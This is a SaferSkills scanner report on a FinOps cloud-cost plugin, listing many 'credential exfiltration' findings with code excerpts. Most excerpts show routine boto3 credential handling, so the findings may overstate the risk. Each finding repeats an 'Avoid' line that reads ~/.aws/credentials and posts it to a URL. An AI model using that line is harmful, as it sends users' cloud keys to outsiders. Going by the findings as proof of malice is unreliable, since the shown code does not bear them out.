Finopsmcp— plugin

Finopsmcp — independently scanned and version-tracked by SaferSkills.

by chaandannn·Plugin·github.com/chaandannn/finopsmcp

Is Finopsmcp safe to install?

SaferSkills independently audited Finopsmcp (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 80 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 29d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 80 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 80 flagged

Securityscore 0 · 80 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/accounts.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/accounts.py· python
156creds = resp["Credentials"]
157return boto3.Session(
158aws_access_key_id=creds["AccessKeyId"],
159aws_secret_access_key=creds["SecretAccessKey"],
160aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L158, also L159, L160
Show all 3 locations
Line
File
L158
src/finops/accounts.py
L159
src/finops/accounts.py
L160
src/finops/accounts.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/analyzers/optimizer.py×4
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ((env vars → ~/.aws/credentials → instance profil…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/analyzers/optimizer.py· python
55- If role_arn is provided, assume that role
56- Otherwise fall through boto3's default chain
57(env vars → ~/.aws/credentials → instance profile)
58"""
59import boto3
Occurrences
4 occurrences · first at L57, also L69, L70 +1 more
Show all 4 locations
Line
File
L57
src/finops/analyzers/optimizer.py
L69
src/finops/analyzers/optimizer.py
L70
src/finops/analyzers/optimizer.py
L71
src/finops/analyzers/optimizer.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfdrubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/attribution/fetcher.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/attribution/fetcher.py· python
35ce = boto3.client(
36"ce",
37aws_access_key_id=creds["AccessKeyId"],
38aws_secret_access_key=creds["SecretAccessKey"],
39aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L37, also L38, L39
Show all 3 locations
Line
File
L37
src/finops/attribution/fetcher.py
L38
src/finops/attribution/fetcher.py
L39
src/finops/attribution/fetcher.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws.py×5
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws.py· python
81return boto3.client(
82"ce",
83aws_access_key_id=creds["AccessKeyId"],
84aws_secret_access_key=creds["SecretAccessKey"],
85aws_session_token=creds["SessionToken"],
Occurrences
5 occurrences · first at L83, also L84, L85 +2 more
Show all 5 locations
Line
File
L83
src/finops/connectors/aws.py
L84
src/finops/connectors/aws.py
L85
src/finops/connectors/aws.py
L239
src/finops/connectors/aws.py
L240
src/finops/connectors/aws.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_org.py×4
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (AWS_PROFILE / AWS_ACCESS_KEY_ID etc. — standard…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_org.py· python
17 
18Environment variables:
19AWS_PROFILE / AWS_ACCESS_KEY_ID etc. — standard AWS credentials
20FINOPS_ORG_ROLE_NAME — role to assume in member accounts
21(default: FinOpsReadOnly)
Occurrences
4 occurrences · first at L19, also L77, L78 +1 more
Show all 4 locations
Line
File
L19
src/finops/connectors/aws_org.py
L77
src/finops/connectors/aws_org.py
L78
src/finops/connectors/aws_org.py
L79
src/finops/connectors/aws_org.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/bedrock.py×6
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/bedrock.py· python
21return boto3.client(
22"ce",
23aws_access_key_id=creds["AccessKeyId"],
24aws_secret_access_key=creds["SecretAccessKey"],
25aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L23, also L24, L25 +3 more
Show all 6 locations
Line
File
L23
src/finops/connectors/aws_services/bedrock.py
L24
src/finops/connectors/aws_services/bedrock.py
L25
src/finops/connectors/aws_services/bedrock.py
L38
src/finops/connectors/aws_services/bedrock.py
L39
src/finops/connectors/aws_services/bedrock.py
L40
src/finops/connectors/aws_services/bedrock.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/documentdb.py×6
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/documentdb.py· python
21return boto3.client(
22"ce",
23aws_access_key_id=creds["AccessKeyId"],
24aws_secret_access_key=creds["SecretAccessKey"],
25aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L23, also L24, L25 +3 more
Show all 6 locations
Line
File
L23
src/finops/connectors/aws_services/documentdb.py
L24
src/finops/connectors/aws_services/documentdb.py
L25
src/finops/connectors/aws_services/documentdb.py
L38
src/finops/connectors/aws_services/documentdb.py
L39
src/finops/connectors/aws_services/documentdb.py
L40
src/finops/connectors/aws_services/documentdb.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/kendra.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/kendra.py· python
32creds = sts.assume_role(RoleArn=role_arn, RoleSessionName="finops-kendra")["Credentials"]
33return boto3.Session(
34aws_access_key_id=creds["AccessKeyId"],
35aws_secret_access_key=creds["SecretAccessKey"],
36aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L34, also L35, L36
Show all 3 locations
Line
File
L34
src/finops/connectors/aws_services/kendra.py
L35
src/finops/connectors/aws_services/kendra.py
L36
src/finops/connectors/aws_services/kendra.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/marketplace.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/marketplace.py· python
20return boto3.client(
21"ce",
22aws_access_key_id=creds["AccessKeyId"],
23aws_secret_access_key=creds["SecretAccessKey"],
24aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L22, also L23, L24
Show all 3 locations
Line
File
L22
src/finops/connectors/aws_services/marketplace.py
L23
src/finops/connectors/aws_services/marketplace.py
L24
src/finops/connectors/aws_services/marketplace.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/textract.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/textract.py· python
20return boto3.client(
21"ce",
22aws_access_key_id=creds["AccessKeyId"],
23aws_secret_access_key=creds["SecretAccessKey"],
24aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L22, also L23, L24
Show all 3 locations
Line
File
L22
src/finops/connectors/aws_services/textract.py
L23
src/finops/connectors/aws_services/textract.py
L24
src/finops/connectors/aws_services/textract.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/demo_data.py×2
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# under AWS_ACCESS_KEY_ID / AWS_ROLE_ARNS, Azure…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/demo_data.py· python
41 
42# Vault keys that mean a real cloud provider has been connected. setup stores AWS
43# under AWS_ACCESS_KEY_ID / AWS_ROLE_ARNS, Azure and GCP under theirs. If any is
44# present, the user connected a real account, so demo data must step aside.
45_PROVIDER_CRED_KEYS = (
Occurrences
2 occurrences · first at L43, also L46
Show all 2 locations
Line
File
L43
src/finops/demo_data.py
L46
src/finops/demo_data.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/doctor.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_SECRET_ACCESS_KEY",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/doctor.py· python
57"""Verify credentials are in the OS keyring, not plain env vars."""
58sensitive_env_keys = [
59"AWS_SECRET_ACCESS_KEY",
60"AZURE_CLIENT_SECRET",
61"GOOGLE_APPLICATION_CREDENTIALS",
Occurrences
1 occurrence · at L59
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761erubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/recommendations/bedrock_routing.py×6
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/recommendations/bedrock_routing.py· python
60return boto3.client(
61"ce",
62aws_access_key_id=creds["AccessKeyId"],
63aws_secret_access_key=creds["SecretAccessKey"],
64aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L62, also L63, L64 +3 more
Show all 6 locations
Line
File
L62
src/finops/recommendations/bedrock_routing.py
L63
src/finops/recommendations/bedrock_routing.py
L64
src/finops/recommendations/bedrock_routing.py
L78
src/finops/recommendations/bedrock_routing.py
L79
src/finops/recommendations/bedrock_routing.py
L80
src/finops/recommendations/bedrock_routing.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/recommendations/textract_env.py×9
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/recommendations/textract_env.py· python
46return boto3.client(
47"ce",
48aws_access_key_id=creds["AccessKeyId"],
49aws_secret_access_key=creds["SecretAccessKey"],
50aws_session_token=creds["SessionToken"],
Occurrences
9 occurrences · first at L48, also L49, L50 +6 more
Show all 9 locations
Line
File
L48
src/finops/recommendations/textract_env.py
L49
src/finops/recommendations/textract_env.py
L50
src/finops/recommendations/textract_env.py
L65
src/finops/recommendations/textract_env.py
L66
src/finops/recommendations/textract_env.py
L67
src/finops/recommendations/textract_env.py
L81
src/finops/recommendations/textract_env.py
L82
src/finops/recommendations/textract_env.py
L83
src/finops/recommendations/textract_env.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/security/oauth/aws.py×3
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (vault.store("AWS_ACCESS_KEY_ID", creds["accessKe…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/security/oauth/aws.py· python
111 
112vault = Vault.default()
113vault.store("AWS_ACCESS_KEY_ID", creds["accessKeyId"])
114vault.store("AWS_SECRET_ACCESS_KEY", creds["secretAccessKey"])
115vault.store("AWS_SESSION_TOKEN", creds["sessionCredentials"] if "sessionCredentials" in cred
… (37 chars elided on L115)
Occurrences
3 occurrences · first at L113, also L114, L115
Show all 3 locations
Line
File
L113
src/finops/security/oauth/aws.py
L114
src/finops/security/oauth/aws.py
L115
src/finops/security/oauth/aws.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/server.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (if os.environ.get("AWS_ACCESS_KEY_ID") or os.env…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/server.py· python
1832errors: dict[str, str] = {}
1833 
1834if os.environ.get("AWS_ACCESS_KEY_ID") or os.environ.get("AWS_ROLE_ARNS"):
1835try:
1836role_arns = [a.strip() for a in os.environ.get("AWS_ROLE_ARNS", "").split(",") if a.strip()]
Occurrences
1 occurrence · at L1834
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/setup/cloud_infra.py×2
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (_print("Run 'aws configure' or set AWS_PROFILE /…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/setup/cloud_infra.py· python
142except Exception as e:
143_err(f"AWS credentials not found or invalid: {e}")
144_print("Run 'aws configure' or set AWS_PROFILE / AWS_ACCESS_KEY_ID", 1)
145return {}
146 
Occurrences
2 occurrences · first at L144, also L759
Show all 2 locations
Line
File
L144
src/finops/setup/cloud_infra.py
L759
src/finops/setup/cloud_infra.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/setup_wizard.py×14
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (vault.store("AWS_ACCESS_KEY_ID", access_key)). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/setup_wizard.py· python
266 
267role_arns = _prompt(" Role ARNs for additional accounts (comma-separated, or blank)")
268vault.store("AWS_ACCESS_KEY_ID", access_key)
269vault.store("AWS_SECRET_ACCESS_KEY", secret_key)
270vault.store("AWS_DEFAULT_REGION", region)
Occurrences
14 occurrences · first at L268, also L269, L657 +11 more
Show all 14 locations
Line
File
L268
src/finops/setup_wizard.py
L269
src/finops/setup_wizard.py
L657
src/finops/setup_wizard.py
L685
src/finops/setup_wizard.py
L688
src/finops/setup_wizard.py
L723
src/finops/setup_wizard.py
L724
src/finops/setup_wizard.py
L749
src/finops/setup_wizard.py
L750
src/finops/setup_wizard.py
L759
src/finops/setup_wizard.py
L760
src/finops/setup_wizard.py
L2529
src/finops/setup_wizard.py
L2938
src/finops/setup_wizard.py
L2938
src/finops/setup_wizard.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_control_plane_login.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAEXA…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_control_plane_login.py· python
371# startup, so a cred in the env is enough to flip demo off.
372import finops.demo_data as dd
373monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAEXAMPLE")
374monkeypatch.setattr(dd, "_real_provider_cache", None) # bust the short cache
375assert dd._real_provider_connected() is True
Occurrences
1 occurrence · at L373
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efarubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · web/docs-app.js
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (env:[['SLACK_WEBHOOK_URL','https://hooks.slack.c…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptweb/docs-app.js· javascript
174['Copy the webhook URL and add it to your env.'],
175],
